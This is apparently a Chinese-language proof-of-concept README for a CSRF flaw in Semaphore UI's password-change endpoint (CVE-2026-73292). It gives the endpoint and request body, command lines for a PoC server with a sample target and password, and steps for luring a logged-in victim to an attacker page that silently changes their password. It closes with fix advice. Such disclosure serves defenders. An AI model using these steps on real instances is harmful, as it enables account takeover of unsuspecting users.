CVE-2026-73292 – Semaphore UI < 2.18.21 中的 CSRF 密码更改漏洞

仅供教育和负责任披露之用。

该漏洞已在 GHSA-8cj9-r88m-8945 中报告，影响 2.18.21 以下的 semaphoreui 版本。

漏洞

Semaphore UI 的密码更改端点未实现任何 CSRF 保护：

• 无需 CSRF 令牌
• 无需当前密码确认
• 身份验证仅依赖会话 Cookie（semaphore），且未强制执行 SameSite

恶意页面可以静默更改任何访问它的已认证用户的密码。

受影响端点： POST /api/users/{id}/password

{"password": "newpassword", "project_id": 1}

使用方法

python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]

示例

python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337

然后将受害者（已在 Semaphore 上认证）引导至 http://ATTACKER:1337。页面加载后，其密码会立即被更改。

复现步骤

1. 启动 PoC 服务器：
   root@kitploit:~

   python poc.py -u http://TARGET:3000 -i 1
   

2. 在浏览器中以受害者身份登录 Semaphore UI
3. 访问 http://ATTACKER:1337
4. 在 DevTools → Network 中：观察对 /api/users/1/password 的 POST 请求返回 HTTP 204
5. 使用新密码登录，以确认账户已被接管

修复建议

• 为所有状态变更端点添加 CSRF 令牌
• 密码更改时要求确认当前密码
• 在会话 Cookie 上设置 SameSite=Strict